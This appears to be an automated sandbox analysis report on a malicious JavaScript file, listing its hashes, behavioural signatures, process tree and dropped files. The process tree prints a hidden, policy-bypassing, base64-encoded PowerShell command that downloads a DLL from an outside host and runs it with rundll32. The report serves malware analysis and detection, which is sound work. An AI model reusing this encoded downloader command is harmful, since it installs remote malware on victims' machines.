Resubmissions

03-11-2023 13:00

231103-p85leaaf8t 7

07-10-2023 02:16

231007-cqhygagh3v 7

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    03-11-2023 13:00

General

  • Target

    RE_432-7784.js

  • Size

    5.3MB

  • MD5

    bd6e5c0e5b943bfe471d226126324b07

  • SHA1

    081aa5ebe5401e12629a58e0cb6a11cbd552d365

  • SHA256

    b3aa3441c6911e0150547ba2519f9e97b76e52080ab8b9ab793061e6aadb386b

  • SHA512

    7a70225786e38af457c879987d3c31bad5a32384e4dd4e9bb7748762863b541a0524603f7d0425d960cea17b9f9c6aa63ed8c2bfce1045df47090cf7f2e81447

  • SSDEEP

    49152:ZHoFXu989gdRkFS7lCpPktyIpEjqYczjQFa1iT4ea0AE6+axSz3rlq303ZM02QA1:3

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\RE_432-7784.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" https://reutersinstitute.politics.ox.ac.uk/sites/default/files/2022-06/Digital_News-Report_2022.pdf
      2⤵
        PID:3452
      • C:\ProgramData\AlphaPath\appRunner.exe
        "C:\ProgramData\AlphaPath\appRunner.exe" -nop -Ep BYPass -WiN HId -eNc ZnVuY3Rpb24gQSgkcCwgcyl7CiAgICAkZCA9IEpvaW4tUGF0aCAkcCAkcyAKICAgIHJldHVybiAkZAoKfQoKZnVuY3Rpb24gQigkdSwgJHApewogICAgSW52b2tlLVdlYlJlcXVlc3QgLVBvc3QgLXVyaSAkdSAtT3V0RmlsZSAkcCAKfQoKZnVuY3Rpb24gQygkYyl7IAogICAgaWV4ICRjCn0KCgokdTEgPSAiaHR0cHM6Ly9wbGF3ZXJzLmNvbS9UT0EvIgokdTJgID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOEdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCJFRktrZWZrZWZzPSIpKQokdXJsID0gJHUxK2AkdTIKCiRkMSA9ICJDOlxQcm9ncmFtRGF0YVwiCiRkMiA9ICJCb3RhUGF0aCIKJGZvbGRlciA9IEEgJGQxICRkMgoKJGYgPSAiZG9ub3QuZGxsIgokZnVsbFBhdGggPSBBICRmb2xkZXIgJGYKCgokY21kMSA9ICJydW5kbGwyIDMiCiRjbWQyID0gIiwgSFVFX2luY192YXIiCiRydW5Db21tYW5kID0gJGNtZDEgKyAkZnVsbFBhdGggKyAkY21kMgoKQiAkdXJsICRmdWxsUGF0aAogQyAkcnVuQ29tbWFuZAo=
        2⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2412
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
        PID:2276
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
        1⤵
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4992
      • C:\Windows\system32\browser_broker.exe
        C:\Windows\system32\browser_broker.exe -Embedding
        1⤵
        • Modifies Internet Explorer settings
        PID:1080
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4988
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1132
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Drops file in Windows directory
        • Modifies registry class
        PID:2432
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:3064
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        PID:3836
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        PID:1220

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\AlphaPath\appRunner.exe

        Filesize

        435KB

        MD5

        f7722b62b4014e0c50adfa9d60cafa1c

        SHA1

        f31c17e0453f27be85730e316840f11522ddec3e

        SHA256

        ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

        SHA512

        7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

        Filesize

        4KB

        MD5

        1bfe591a4fe3d91b03cdf26eaacd8f89

        SHA1

        719c37c320f518ac168c86723724891950911cea

        SHA256

        9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8

        SHA512

        02f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DXEYB732\edgecompatviewlist[1].xml

        Filesize

        74KB

        MD5

        d4fc49dc14f63895d997fa4940f24378

        SHA1

        3efb1437a7c5e46034147cbbc8db017c69d02c31

        SHA256

        853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

        SHA512

        cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

      • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\9FGH30SM\suggestions[1].en-US

        Filesize

        17KB

        MD5

        5a34cb996293fde2cb7a4ac89587393a

        SHA1

        3c96c993500690d1a77873cd62bc639b3a10653f

        SHA256

        c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

        SHA512

        e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npn4xbqx.ccy.ps1

        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      • memory/2412-113-0x000001056D770000-0x000001056D780000-memory.dmp

        Filesize

        64KB

      • memory/2412-55-0x00007FF93FF30000-0x00007FF94091C000-memory.dmp

        Filesize

        9.9MB

      • memory/2412-56-0x000001056D770000-0x000001056D780000-memory.dmp

        Filesize

        64KB

      • memory/2412-59-0x000001056D770000-0x000001056D780000-memory.dmp

        Filesize

        64KB

      • memory/2412-61-0x000001056DCE0000-0x000001056DD02000-memory.dmp

        Filesize

        136KB

      • memory/2412-73-0x000001056DFD0000-0x000001056E046000-memory.dmp

        Filesize

        472KB

      • memory/2412-123-0x00007FF93FF30000-0x00007FF94091C000-memory.dmp

        Filesize

        9.9MB

      • memory/2432-100-0x00000182BA2C0000-0x00000182BA2C2000-memory.dmp

        Filesize

        8KB

      • memory/2432-135-0x00000182CC490000-0x00000182CC492000-memory.dmp

        Filesize

        8KB

      • memory/2432-92-0x00000182BA270000-0x00000182BA272000-memory.dmp

        Filesize

        8KB

      • memory/2432-97-0x00000182BA2A0000-0x00000182BA2A2000-memory.dmp

        Filesize

        8KB

      • memory/2432-129-0x00000182CADB0000-0x00000182CADB2000-memory.dmp

        Filesize

        8KB

      • memory/2432-133-0x00000182CBFE0000-0x00000182CBFE2000-memory.dmp

        Filesize

        8KB

      • memory/2432-131-0x00000182CAEF0000-0x00000182CAEF6000-memory.dmp

        Filesize

        24KB

      • memory/2432-103-0x00000182BA2E0000-0x00000182BA2E2000-memory.dmp

        Filesize

        8KB

      • memory/2432-137-0x00000182CC4B0000-0x00000182CC4B2000-memory.dmp

        Filesize

        8KB

      • memory/2432-139-0x00000182CA990000-0x00000182CA992000-memory.dmp

        Filesize

        8KB

      • memory/4992-1-0x00000197A6B20000-0x00000197A6B30000-memory.dmp

        Filesize

        64KB

      • memory/4992-36-0x00000197A6CD0000-0x00000197A6CD2000-memory.dmp

        Filesize

        8KB

      • memory/4992-159-0x00000197AF3D0000-0x00000197AF3D1000-memory.dmp

        Filesize

        4KB

      • memory/4992-160-0x00000197AF3E0000-0x00000197AF3E1000-memory.dmp

        Filesize

        4KB

      • memory/4992-17-0x00000197A7340000-0x00000197A7350000-memory.dmp

        Filesize

        64KB